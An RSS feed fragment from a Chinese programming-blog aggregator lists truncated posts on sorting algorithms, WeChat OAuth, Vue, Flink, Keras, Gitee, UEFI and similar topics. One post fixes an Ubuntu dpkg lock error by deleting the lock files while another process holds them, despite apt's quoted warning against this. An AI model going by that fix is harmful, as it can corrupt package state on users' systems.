      <description>C语言实现各种排序算法 冒泡排序选择排序插入排序希尔排序（插入方式）（非交换方式）快速排序归并排序（分治思想）基数排序（桶排序）基数排序的基本思想（典型的空间换时间方式）： 冒泡排序 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; //数组的首地址传进去 void bubbleSorting(int *arr,int arrLength){ for (int i = 0; i &amp;lt; arrLength; ++i) { for (int j = 0; j &amp;lt; arrLength-i-1; ++j) { if(arr[j]&amp;gt;arr[j+1]){ int temp = arr[j+1]; arr[j+1]=arr[j]; arr[j]=temp; } } } } int main(){ int arr[]={3,9,-1,10,20}; int length = sizeof(arr)/sizeof(int); printf(&#34;%d\n&#34;,length); bubbleSorting(arr,length); for (int i = 0; i &amp;lt; length; ++i) { printf(&#34;%d &#34;,arr[i]); } return 0; } 选择排序 #include &amp;lt;stdio.</description>
    </item>
    <item>
      <title>微信公众号：生成二维码，扫码进入指定的H5页面并获取openid，实现自定义分享【完整过程，附主要代码】</title>
      <link>https://bchobby.github.io/posts/314b4e695d68796a6f2febcd208bd883/</link>
      <pubDate>Wed, 01 Jun 2022 17:49:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/314b4e695d68796a6f2febcd208bd883/</guid>
      <description>文章目录 说明一、生成二维码，指定跳转路径二、进入指定的H5页面，并获取openid总结 说明 功能：需要生成二维码，识别二维码后进入指定H5页面，获取到使用人的openid，然后进行自己其他操作。&#xA;这篇文章主要记录的是生成二维码、跳转到指定页面的模块。&#xA;使用框架如下：&#xA;后端：jeecgboot&#xA;Web、 H5：Vue3&#xA;一、生成二维码，指定跳转路径 方式1、微信提供了生成二维码的接口，可直接调用获取&#xA;文档地址：微信公众开发者文档&#xA;避坑点：开启公众号的服务器配置，JS域名配置等，白名单配置；具体的可以看一看微信公众号开发。&#xA;方式2【推荐】：使用草料二维码进行生成，带有扫描后进入的页面路径&#xA;生成地址：草料二维码生成地址&#xA;注意：跳转到自己的后台微信验证方法，并获取到openid拼接到H5页面，在H5页面通过截取的方式获取到openid。&#xA;1、确定回调域名并构造URL，一个参考地址&#xA;https://open.weixin.qq.com/connect/oauth2/authorize?appid=微信公众号id&amp;amp;redirect_uri=后端验证方法接口&amp;amp;connect_redirect=1#wechat_redirect 参数说明：【网址需要encodeURL】&#xA;2、后端验证方法接口方法：使用WxOAuth2AccessToken类进行微信验证&#xA;（1）引入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.binarywang&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;weixin-java-mp&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; （2）验证的方法：&#xA;@Slf4j @RequiredArgsConstructor(onConstructor_ = @Autowired) @RestController @RequestMapping(&#34;wx/redirect/{appid}&#34;) public class WxRedirectController { private final WxMpService wxMpService; private final WxMpProperties properties; private final RedisUtil redisUtil; private final IWxUserService wxUserService; /** * 微信验证 * @param req : * @param resp : * @return org.jeecg.common.api.vo.Result * @author 张雪 */ @GetMapping(&#34;</description>
    </item>
    <item>
      <title>抽象类及接口的定义与实现</title>
      <link>https://bchobby.github.io/posts/0e35fc8b68b05f0791cef25f43c667c9/</link>
      <pubDate>Wed, 01 Jun 2022 17:47:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e35fc8b68b05f0791cef25f43c667c9/</guid>
      <description>面向对象之接口 1.抽象类 引言 当我们编写一个类时，常常会在该类中定义一些方法，这些方法通常情况下是具体的，但在某些情况下，我们无法准确的知道这些方法的细节，这时候就需要我们创建一个抽象类，这些方法就是抽象方法。抽象类一般指父类，专门用来让子类继承，抽象方法必须被子类重写。我们通过添加abstract关键字来使该类变成抽象类，同样添加abstract关键字使方法变成抽象方法。 什么是抽象类 abstract 修饰符可以用来修饰方法也可以修饰类，如果修饰方法，那么该方法就是抽象方法；如果修饰类，那么该类就是抽象类。抽象类中可以没有抽象方法，但是有抽象方法的类一定要声明为抽象类。抽象类存在的意义：提高开发效率 抽象类要求 抽象类，不能使用 new 关键字来创建对象，它是用来让子类继承的。&#xA;抽象方法，只有方法的声明，没有方法的实现，它是用来让子类实现的。&#xA;接口中可以有普通成员变量，抽象类中没有普通成员变量&#xA;子类继承抽象类，那么就必须要实现抽象类没有实现的抽象方法；否者该子类也要声明为抽象类，然后由子子类实现抽象方法。&#xA;注意事项： 1.不能 new 这个抽象类，只能靠子类去实现它；只是约束 2.抽象类中可以写普通方法 3.抽象方法必须在抽象类中4.抽象类中可以有构造器，接口中不能有构造器5.抽象类中可以包含非抽象的普通方法，接口中的方法必须是抽象的，不能有非抽象的普通方法 抽象类中可以有构造器，接口中不能有构造器原因： 在接口里写入构造方法时，编译器提示：Interfaces cannot have constructors。 1.构造方法用于初始化成员变量，但是接口成员变量是常量,无需修改。接口是一种规范，被调用时，主要关注的是里边的方法，而方法是不需要初始化的2.类可以实现多个接口，若多个接口都有自己的构造器，则不好决定构造器链的调用次序3.构造器是属于类自己的，不能继承。因为是纯虚的，接口不需要构造器。 在抽象类中 可以有构造方法。 在抽象类中可以有构造方法，只是不能直接创建抽象类的实例对象，但实例化子类的时候，就会初始化父类，不管父类是不是抽象类都会调用父类的构造方法，初始化一个类，先初始化父类。 1.1 抽象类代码演示： package oopdemo01.demo10; //abstract:抽象类 类 extends,单继承； （接口可以多继承） public abstract class Action { public static final int a =66; public void doSomething(){};//抽象类中可以写普通的方法,抽象类里的普通方法可以不需要子类实现 //约束~ 有人帮我们实现 //abstract:抽象方法，只有方法名字，没有方法的实现！ public abstract void toDoSomething();//如果光写方法不写实现会爆红，但是加上abstract 关键字后就成为了抽象方法 //1.不能new这个抽象类，只能靠子类去实现它：约束！ //2.抽象方法必须在抽象类中，抽象类中可以写普通的方法 } package oopdemo01.demo10; public class A extends Action{ //抽象类的所有方法，继承了他的子类，都必须要实现它得方法 //除非子类也是抽象方法，那就由子子类实现 @Override public void toDoSomething() { System.</description>
    </item>
    <item>
      <title>uni.createInnerAudioContext() 小程序android机拿到的时长为0</title>
      <link>https://bchobby.github.io/posts/7ce4bfceb10409ccc08d5a8536d83083/</link>
      <pubDate>Wed, 01 Jun 2022 16:52:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ce4bfceb10409ccc08d5a8536d83083/</guid>
      <description>背景 在开发uniapp 项目打包成微信小程序，语音播放功能在安卓机上获取时长一直为0(开发者工具中可以正常获取)，我也百度了很多方法，其中就有在onPlay()方法里面使用定时器获取，但是依然没有解决获取时长的问题&#xA;解决方法 在这里我也就不啰嗦了，直接上代码 核心代码在audioInit()方法&#xA;methods里面写一个audioInit方法，然后在mounted生命周期里面调用即可（或者直接写在mounted或onLoad生命周期里面）&#xA;该方法的主要思路是，进页面先执行播放操作，将音量置为0，然后拿到时长，结束播放，然后关闭播放, 将音量置为1.&#xA;data(){ return{ initAudio: true, firstPlay: true, start: false, currentTime: 0, isScrolling: false, durationFormat: &#39;00:00&#39;, duration: 100, currentTimeFormat: &#39;00:00&#39;, backgroundAudioId: null, backgroundAudioPause: null, innerAudioContext: null } }, methods: { audioInit() { // 创建一个音频对象 this.innerAudioContext = uni.createInnerAudioContext() // 音频的数据链接 this.innerAudioContext.src = encodeURI(this.audioSrc) // 执行播放 this.innerAudioContext.play() // 将音量置为0（若不置0的话会出现进入页面就播放出声音） this.innerAudioContext.volume = 0 uni.showLoading({ title: &#39;加载中...&#39; }) // 核心代码start this.innerAudioContext.onCanplay(() =&amp;gt; { setTimeout(() =&amp;gt; { // initAudio 进入页面为true，只要点击了播放置为false，避免出现bug if (this.</description>
    </item>
    <item>
      <title>服务器频繁重启怎么解决</title>
      <link>https://bchobby.github.io/posts/1fcc1a6d4ef4922bb75841da42533ff9/</link>
      <pubDate>Wed, 01 Jun 2022 12:40:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fcc1a6d4ef4922bb75841da42533ff9/</guid>
      <description>1、检查&#xA;首先出现这种情况的话，建议先检查下服务器安全性，检查是不是被设置植入了自动重启木马，从而导致的自动重启，如果是这种情况，找出删除加固服务器安全就可以了。&#xA;2、排查&#xA;第二步是排查，看是不是服务器本身设置了，安排重启回收服务器系统资源的时候，导致资源不足从而引起的重启。&#xA;3、查看组件&#xA;接下来查看是不是服务器安装了必要的组件，重新安装组件的时候，会自动重启安装，组件的安装才能生效。&#xA;4、检查系统&#xA;最后建议检查一下系统检查更新是否开启，如果系统自动更新的话，重启才会生效，更新完成会自动重启的，所以面对这种情况，可以把系统更新关闭，设置成手动去检查安装更新，有选择性的点击安装更新重启。&#xA;5、服务器硬件问题&#xA;如果以上问题都排除了，不是这类问题的话，很大可能是出自服务器硬件，这时候，需要机房技术彻底解决的话，需要花时间，排除具体什么硬件问题。</description>
    </item>
    <item>
      <title>Keras基本用法</title>
      <link>https://bchobby.github.io/posts/158baad7db91eff15fd069ee91d307f9/</link>
      <pubDate>Wed, 01 Jun 2022 12:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/158baad7db91eff15fd069ee91d307f9/</guid>
      <description>参考 Keras基本用法 - 云+社区 - 腾讯云&#xA;Keras是目前使用最为广泛的深度学习工具之一，它的底层可以支持TensorFlow、MXNet、CNTK和Theano。如今，Keras更是被直接引入了TensorFlow的核心代码库，成为TensorFlow官网提供的高层封装之一。下面首先介绍最基本的Keras API，下面给出一个简单的样例，然后介绍如何使用Keras定义更加复杂的模型以及如何将Keras和原生态TensorFlow结合起来。&#xA;1、Keras基本用法 和TFLearn API类似，Keras API也对模型定义、损失函数、训练过程等进行了封装，而且封装之后的整个训练过程和TFLearn是基本一致的，可以分为数据处理、模型定义和模型训练三个部分。使用原生态的Keras API需要先安装Keras包，安装的方法如下：&#xA;pip install keras 以下代码展示了如何使用原生态Keras在MNIST数据集上实现LeNet-5模型。&#xA;# -*- coding: utf-8 -*- import keras from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Flatten, Conv2D, MaxPooling2D from keras import backend as K num_classes = 10 img_rows, img_cols = 28, 28 (trainX, trainY), (testX, testY) = mnist.load_data() if K.image_data_format() == &#39;channels_first&#39;: trainX = trainX.reshape(trainX.shape[0], 1, img_rows, img_cols) testX = testX.</description>
    </item>
    <item>
      <title>python 合并列表中有相同元素的列表</title>
      <link>https://bchobby.github.io/posts/c218cdfb1d959c40222c850c3b9b5565/</link>
      <pubDate>Wed, 01 Jun 2022 12:36:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c218cdfb1d959c40222c850c3b9b5565/</guid>
      <description>输入列表： [[1,2,3], [2,1], [3,4], [5], [6,7]] ，把其中有相同值的列表进行合并&#xA;输出列表：[[1, 2, 3, 4], [5], [6, 7]]&#xA;代码：&#xA;def found_idx(lst, k): &#34;&#34;&#34; lst: [[1,2,3], [2,1], [3,4], [5], [6,7]] k = 3 return: [0,2], [1,2,3,4] # idx, which &#39;3&#39; in [1,2,3], [3,4] &#34;&#34;&#34; idx = [] for i,js in enumerate(lst): for j in js: if j == k: idx.append(i) continue mg_lst = [] for x in idx: mg_lst += lst[x] return idx, list(set(mg_lst)) def merge_lst(lst): &#34;</description>
    </item>
    <item>
      <title>QueryWrapper快速查一条数据</title>
      <link>https://bchobby.github.io/posts/6befb0d3560e609e592070ccff878bd6/</link>
      <pubDate>Wed, 01 Jun 2022 09:45:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6befb0d3560e609e592070ccff878bd6/</guid>
      <description> Student student= studentDao.selectOne(new LambdaQueryWrapper&amp;lt;Student &amp;gt;() .eq(Student ::getAgentCode, agentCode) .last(&#34;limit 1&#34;)); </description>
    </item>
    <item>
      <title>手写vue——简版Vue的实现1</title>
      <link>https://bchobby.github.io/posts/7e1879b1c2bdf5ce43f620199a6ed782/</link>
      <pubDate>Wed, 01 Jun 2022 09:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e1879b1c2bdf5ce43f620199a6ed782/</guid>
      <description>简版Vue的实现 MVVM的实现代码实现创建vue_simple项目项目目录编写过程测试代码 hvue.html明确实现hVue.js的过程数据响应式模版编译 MVVM的实现 MVVM框架的三要素：数据响应式、模版引擎及其渲染&#xA;数据响应式：监听数据变化并在视图中更新&#xA;Object.defineProperty()，Vue2中的实现Proxy，Vue3中的实现 模版引擎：提供描述视图的模版语法&#xA;插值：{{}}指令：v-bind, v-on, v-model, v-for, v-if 渲染：如何将模版转换成html&#xA;模版=&amp;gt; vdom =&amp;gt; dom 代码实现 创建vue_simple项目 vue create vue_simple&#xA;项目目录 其中hvue.html是我们测试效果的代码，hvue.js就是我要写的简版vue的代码。&#xA;编写过程 测试代码 hvue.html &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;简版vue的实现&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;p&amp;gt;{{counter}} &amp;lt;span&amp;gt;{{sum}}&amp;lt;/span&amp;gt; &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script src=&#34;../node_modules/vue/dist/vue.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; const app = new Vue({ el:&#39;#app&#39;, data:{ counter:1, sum:1 } }) &amp;lt;/script&amp;gt; &amp;lt;/html&amp;gt; 这里可以看到，此时使用的还是vue的，在接下来就要引用我们写的kvue.js。现在的页面效果如下：</description>
    </item>
    <item>
      <title>（十）Flink Datastream API 编程指南 算子-1 （转换算子、物理分区、任务链、资源组 、算子和作业）等基本介绍</title>
      <link>https://bchobby.github.io/posts/a0c4306038e8565dc842e74629f36076/</link>
      <pubDate>Wed, 01 Jun 2022 08:36:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0c4306038e8565dc842e74629f36076/</guid>
      <description>概览 操作符将一个或多个DataStream转换为一个新的DataStream。程序可以将多个转换组合成复杂的数据流拓扑。&#xA;本节将描述基本的转换、应用这些转换后的有效物理分区以及对Flink的 operator chain（链）的深入了解。&#xA;DataStream 各种转换算子 Map DataStream → DataStream&#xA;获取一个元素并生成一个元素。将输入流的值加倍的map函数:&#xA;DataStream&amp;lt;Integer&amp;gt; dataStream = //... dataStream.map(new MapFunction&amp;lt;Integer, Integer&amp;gt;() { @Override public Integer map(Integer value) throws Exception { return 2 * value; } }); flatMap DataStream → DataStream&#xA;接受一个元素并生成0、1或多个元素。一个将句子分割为单词的flatmap函数:&#xA;dataStream.flatMap(new FlatMapFunction&amp;lt;String,String&amp;gt;(){ @Override public void flatMap(String value,Collector&amp;lt;String&amp;gt; out) throw Exception{ for(String word: value.split(&#34; &#34;)){ out.collect(word); } } }) Filter DataStream → DataStream&#xA;对每个元素求布尔函数值，并保留函数返回true的元素。一种过滤掉零值的过滤器:&#xA;SingleOutputStreamOperator&amp;lt;String&amp;gt; filter = dataStream.filter(new FilterFunction&amp;lt;String&amp;gt;() { @Override public boolean filter(String s) throws Exception { return s.</description>
    </item>
    <item>
      <title>vscode-spring-boot YAML_UNKNOWN_PROPERTY 解决</title>
      <link>https://bchobby.github.io/posts/9b296a43cb5980275e475b88b8020035/</link>
      <pubDate>Tue, 31 May 2022 22:54:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b296a43cb5980275e475b88b8020035/</guid>
      <description> 使用vscode开发，安装了vscode-spring-boot ,报错如下&#xA;解决方案，增加对yml文件的识别&#xA;新增.vscode/settings.json&#xA;内容如下：&#xA;{ &#34;files.associations&#34;: { &#34;*.yml&#34;: &#34;yaml&#34; } } </description>
    </item>
    <item>
      <title>Android WebSocket状态管理框架 - WebSocketGo</title>
      <link>https://bchobby.github.io/posts/243953d96c95038b387181c28f01e7fc/</link>
      <pubDate>Tue, 31 May 2022 21:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/243953d96c95038b387181c28f01e7fc/</guid>
      <description>阅读本文需要 Integer.MAX_VALUE 分钟。&#xA;故事背景 笔者所在的公司主营业务是智能家居，笔者在公司负责的Android端App的开发。关于智能家居，估计现在百分之八九十的童鞋都听过，但真正了解或者使用过的估计就不占多数了。本文不谈行业前景，只谈技术。&#xA;为了方便大家更加了解故事的背景，顺便科普一下智能家居，想直奔WebSocket主题的童鞋可以直接第二章节。&#xA;智能家居，算是物联网的一个典型应用场景。什么是物联网呢，字面意思就是把众多物体连接起来组成一个网络，英文是Internet of things（IoT）。小到一个你的手机跟蓝牙耳机，大到一个城市的各个角落，究极形态就是“万物互联”。（为什么突然想起万佛朝宗 -_-!）&#xA;IoT其实不在意网络的协议，也不在意连接的到底是什么东东，就这种形态本身而言，就是IoT。其实这个概念其实很早就有了，在笔者上大学那会，不怕暴露年龄的说是在09到10年左右就听说过物联网这个词。还记得实验课的GPRS智能抄表系统么，你可能没有觉得多么高大上，不就是水表上插个SIM卡，定期把值发到客户端上么，再也不怕被人上门查水表啦~ 没错，这也是IoT的一种体现。&#xA;但这么多年，物联网但一直不温不火。至于为什么最近几年又被提出来呢，智能家居在其中扮演了很重要的作用。另外AI这把火也起到了推波助澜的作用，任何产品都要加上智能二字。所以有了AI + IoT，也就是AIOT。具体就不详述了，以后可以再单开一文详细介绍下物联网。&#xA;说回智能家居，智能家居是家庭为单位的物联网，简单说就是你可以通过家里中控或者App控制制家里的灯、插座、监控、电器等等。&#xA;文字算个球，一图解千愁，上架构图&#xA;简单解释一下，网关的作用是负责连接屋内的所有设备，网关和设备之间一般不会采用HTTP（个别单品除外），而会采用比如zigbee、lora等近场通信协议（或者直接用有线方式更稳定），因为功耗低，比较省电，你想家里如果装了几十个开关面板，总归每个月也能节约十几二十块钱的电费吧。当然最重要的原因还是因为方案也比较成熟。所以使用这类设备之前需要有个“组网”的操作，把设备组到网关上。如果断开了，网关就认为设备离线了。&#xA;网关会将设备的状态上报给云平台，云平台就将状态下发给客户端了。同样，客户端控制设备就是个反向的过程。当然如果以后5G普及了，设备直接通过5G网络连接云平台，因为5G功耗低、延迟低、速度快，就可以不需要网关了。&#xA;整体的架构还算是比较简单的，当然中间也有很多复杂的逻辑，涉及到比如设备状态、人员、权限、房屋的管理等等这里就不关注了。&#xA;在服务器下发设备状态的时候就涉及到了推送。因为智能家居有情景模式的概念，比如回家模式，执行一个请求，咔咔打开十几个灯，所以靠请求的返回值判断状态是不太现实的，只能依靠推送。&#xA;由于业务的特殊性，智能家居的推送需要有较高的实时性，比如用户打开了灯（无论在app上打开或者直接打开），app上的灯的状态都需要立即变成开。如果等个3、5秒状态再发生改变，这样的用户体验很不好。&#xA;我们最早使用的是某光推送，发现延迟严重，有时需要等十几秒才收到推送，毕竟适用场景毕竟不一样。所以决定自建长连接当推送。经过选型，决定采用本文的主角，WebSocket。&#xA;WebSocket状态管理现存的问题 市面上有很多现成的WebSocket连接库，比较著名的有Java-WebSocket，OkHttp也自带WebSocket支持。&#xA;最初因为项目内已经接入了OkHttp，所以直接使用了OkHttp。使用的方式很简单，熟悉OkHttp的童鞋应该很懂，&#xA;OkHttpClient client = OkHttpClient.Builder().build(); Request request = new Request.Builder().build(); client.newWebSocket(request, new WebSocketListener() { @Override public void onOpen(okhttp3.WebSocket webSocket, Response response) {} @Override public void onMessage(okhttp3.WebSocket webSocket, String text) {} @Override public void onClosed(okhttp3.WebSocket webSocket, int code, String reason) {} @Override public void onFailure(okhttp3.WebSocket webSocket, Throwable t, Response response) {} }); 复制代码 调用方便，回调状态也很清晰。Java-Websocket也差不多类似，但总体来说有以下几个问题：</description>
    </item>
    <item>
      <title>无法获取 dpkg 前端锁 (/var/lib/dpkg/lock-frontend)，是否有其他进程正占用它</title>
      <link>https://bchobby.github.io/posts/5dbaac390493d71f73b63313231e4dee/</link>
      <pubDate>Tue, 31 May 2022 17:28:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dbaac390493d71f73b63313231e4dee/</guid>
      <description>ubuntu安装ssh-contact-service出现以下报错&#xA;ubuntu@ubuntu-virtual-machine:~/桌面$ sudo apt-get install ssh-contact-service [sudo] ubuntu 的密码： E: 无法获得锁 /var/lib/dpkg/lock-frontend。锁正由进程 1188（unattended-upgr）持有 N: 请注意，直接移除锁文件不一定是合适的解决方案，且可能损坏您的系统。 E: 无法获取 dpkg 前端锁 (/var/lib/dpkg/lock-frontend)，是否有其他进程正占用它？ 解决办法&#xA;可使用该命令强制解锁&#xA;ubuntu@ubuntu-virtual-machine:~/桌面$ sudo rm /var/lib/dpkg/lock-frontend ubuntu@ubuntu-virtual-machine:~/桌面$ sudo rm /var/lib/dpkg/lock 解锁成功后，就可以了&#xA;ubuntu@ubuntu-virtual-machine:~/桌面$ sudo apt-get install openssh-server 正在读取软件包列表... 完成 正在分析软件包的依赖关系树... 完成 正在读取状态信息... 完成 将会同时安装下列软件： ncurses-term openssh-sftp-server ssh-import-id 建议安装： molly-guard monkeysphere ssh-askpass 下列【新】软件包将被安装： ncurses-term openssh-server openssh-sftp-server ssh-import-id 升级了 0 个软件包，新安装了 4 个软件包，要卸载 0 个软件包，有 144 个软件包未被升级。 需要下载 751 kB 的归档。 解压缩后会消耗 6,046 kB 的额外空间。 您希望继续执行吗？ [Y/n] y 获取:1 http://cn.</description>
    </item>
    <item>
      <title>gitee使用教程，创建项目仓库并上传代码</title>
      <link>https://bchobby.github.io/posts/350bcad741db69c256f7ac65117b6735/</link>
      <pubDate>Tue, 31 May 2022 17:08:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/350bcad741db69c256f7ac65117b6735/</guid>
      <description>一、关于gitee gitee（中文名：码云 ，原名 Git@OSC）是开源中国推出的基于git的代码托管服务。&#xA;国内访问GitHub速度比较慢，如果想托管自己的代码到云端，gitee是个不错的选择，华为的鸿蒙2.0源码也是放在gitee上的。&#xA;二、安装git 要使用gitee，需要先安装git工具。&#xA;git工具下载：Git - Downloads&#xA;安装完成后，在命令行输入git --version可以查看到git的版本。&#xA;右键菜单也会出现相应的菜单。&#xA;三、登录gitee 我们先在 gitee上注册账号并登录。&#xA;gitee官网：https://gitee.com/&#xA;四、生成SSH公钥 由于我们的本地 git仓库和 gitee仓库之间的传输是通过SSH加密的，所以我们需要配置SSH公钥。&#xA;注：安装了git工具，就可以使用ssh命令&#xA;打开cmd命令行，输入命令&#xA;ssh-keygen -t rsa -C &#34;xxxxx@xxxxx.com&#34; 注意：这里的xxxxx@xxxxx.com只是生成的 sshkey 的名称，并不约束或要求具体命名为某个邮箱。&#xA;按照提示完成三次回车，即可生成ssh key。&#xA;可以看到，我们生成的公钥文件id_rsa.pub路径：C:\User\Adminstrator/.ssh/id_rsa.pub&#xA;进入该目录用文本编辑器打开&#xA;即可看到SSH公钥，下文中将会用到这个SSH公钥。&#xA;五、配置SSH公钥 在gitee网站点击设置&#xA;点击SSH公钥&#xA;输入公钥标题，拷贝刚刚的SSH公钥到框中，点击确定&#xA;配置成功&#xA;六、创建一个项目 点击右上角的 +号，新建仓库&#xA;如下，填写仓库信息，最后点击创建即可。&#xA;七、克隆仓库到本地 点击克隆/下载，然后点击SSH，复制git链接&#xA;接着，在本地目录空白处右键菜单，点击Git Bash Here。&#xA;输入git clone 刚刚的git链接，如下&#xA;git clone git@gitee.com:linxinfa/mytest.git 成功后，本地目录即可看到克隆下来的README文件。&#xA;八、关联本地工程到远程仓库 有时候，我们可能是先在本地有了工程文件，然后再在gitee上创建仓库的。&#xA;此时，可在本地库上使用命令 git remote add把它和 gitee 的远程库关联，如下&#xA;git remote add origin git@gitee.</description>
    </item>
    <item>
      <title>UEFI简介</title>
      <link>https://bchobby.github.io/posts/b62129ace04ed50190869b0e91d1100b/</link>
      <pubDate>Tue, 31 May 2022 17:02:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b62129ace04ed50190869b0e91d1100b/</guid>
      <description>前言&#xA;大多数人接触UEFI都是在PC的应用场景上，有在PC上安装过多操作系统的经历的同学，通常会进入UEFI界面设置操作系统引导顺序、CPU虚拟化等设置。UEFI诞生之初也确实是作为BIOS的替代者，主要应用在PC电脑上。随着手机/平板等移动设备的发展，高通从MSM8998开始使用UEFI替代LK（Little Kernel）作为手机的Bootloader，作为一个嵌入式开发者势必比较好奇，UEFI相比嵌入式常见Bootloader（u-boot、LK等）区别在哪？&#xA;UEFI（Unified Extensible Firmware Interface，统一可扩展固件接口）定义了操作系统和平台固件之间的接口，它是UEFI Forum发布的一种标准。它只是一种标准，没有提供实现。下面让我们通过Tianocore社区提供的EDK2源码一窥UEFI的具体实现，相比其他的Bootloader有什么优势特点。&#xA;一、UEFI入门&#xA;1. 启动过程&#xA;UEFI系统从上电到关机可分为7个阶段：SEC-&amp;gt; PEI-&amp;gt; DXE-&amp;gt; BDS-&amp;gt; TSL -&amp;gt; RT-&amp;gt; AL&#xA;开源嵌入式的Bootloader大多分两个阶段（Stage1、Stage2）。&#xA;Stage1：系统资源环境较少情况下部分硬件初始化，为Stage2准备执行环境。&#xA;Stage2：系统硬件进一步初始化，定制化功能的实现和操作系统的引导。&#xA;进行类比，SEC/PEI可以看作是Stage1，DXE/BDS/TSL可以看作是Stage2。&#xA;l SEC阶段/PEI阶段&#xA;SEC：Security Phase&#xA;PEI：Pre-EFI Initalization&#xA;顾名思义，这两个阶段的主要工作是安全校验相关和前期硬件初始化，最重要的是RAM的初始化，让后面的阶段可以执行在外置RAM中。&#xA;l DXE阶段/BDS阶段&#xA;DXE：Driver Exection Environment&#xA;BDS：Boot Device Select&#xA;DXE阶段加载各个驱动模块，驱动模块通过Protocol结构体为后续的应用功能执行提供服务，DXE驱动服务在内存中常驻。BDS实现操作系统的启动顺序的设置。&#xA;l TSL阶段&#xA;TSL：Transient System Load&#xA;OSLoader的执行阶段，一般以UEFI应用程序的形式存在。以Android系统为例，需要完成AVB校验，加载Linux Kernel到内存，解析DTB和Kernel cmdline的设置等。&#xA;高通的UEFI实现有所精简，SEC和PEI作为Stage1放到了一个Module中实现。&#xA;2. EDK2目录&#xA;EDK2根目录下很多以*Pkg命令的文件夹，称之为一个Package，是一组功能的集合。例如MdePkg是基础静态库的集合，MdeModulePkg是PEI、DXE启动过程和常见通用驱动框架服务的集合。Package下各个功能目录称之为Module，Module可编译成efi文件动态加载/卸载。&#xA;dsc和inf文件相当于是Makefile，定义了Module的编译，生成哪些efi文件，fdf文件将众多的efi文件组织打包成烧录镜像。&#xA;二、UEFI的特点&#xA;LK、u-boot等开源的Bootloader都是结构简单的轻量级系统，开发门槛低。UEFI系统虽然较为复杂，但其具有模块扩展性、多任务实现等类操作系统的特性，更易实现复杂功能，且具有较好的开发灵活性，因而高通使用UEFI替换LK作为手机的Bootloader也就不奇怪了。&#xA;1. 扩展性&#xA;UEFI-统一可扩展固件接口，可扩展性是UEFI的突出优势。这主要体现在UEFI可以动态地加载其它编译好的efi镜像，而u-boot在编译完后并不能动态地加载其它定制化的驱动或者命令。那UEFI是如何实现这一特性地呢？&#xA;DXE是UEFI的核心阶段，这一阶段初始化了Boot Services（后面简称BS），BS为后面的引导过程和应用程序的执行提供了几乎所有基础服务接口。看一下BS的结构：&#xA;BS中的提供了Image和Protocol的管理接口，Image相关接口提供了efi镜像加载&amp;amp;启动功能，Protocol相关接口则可以找到镜像提供的功能服务。下图描述了Image和Protocol加载到内存后的存储结构，该存储结构揭示了Portocol管理接口如何在Image中找到对应的Protocol服务：接口（HandleProtocol）传入了对应的ImageHandle，则直接通过GUID在IHANDLE的Protocols链表中查找，接口（LocateHandle）没有传对应的ImageHandle则直接在包含所有Protocol的链表中查找。&#xA;efi镜像的加载过程：&#xA;BDS跳转至TSL阶段时BS调用CoreLoadImage()函数加载TSL的efi镜像，调用过程如下：&#xA;CoreLoadImage-&amp;gt;CoreLoadImageCommon-&amp;gt;CoreInstallProtocolInterfaceNotify&#xA;可以看到CoreLoadImage最终申请了一个IHADNLE结构体，并将节点挂到gHandleList列表中。&#xA;而后调用CoreStartImage函数最终执行Image的EntryPoint(定义在inf文件中)。&#xA;驱动服务模块一般在ModuleEntry中将自身的Protocol注册到ImageHandle中。Protocol的管理接口如何使用就不在赘述。&#xA;2. 设备驱动模型&#xA;UEFI驱动实现了一种类Linux系统的驱动模型，实现了Host Bus、Driver和Device的架构解耦。(DXE_DRIVER可以看做是一种驱动类型的功能服务，不一定需要硬件支持)</description>
    </item>
    <item>
      <title>MATLAB修饰线条</title>
      <link>https://bchobby.github.io/posts/75e6fea68b63c20511cc2a56bf2831bf/</link>
      <pubDate>Tue, 31 May 2022 12:17:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75e6fea68b63c20511cc2a56bf2831bf/</guid>
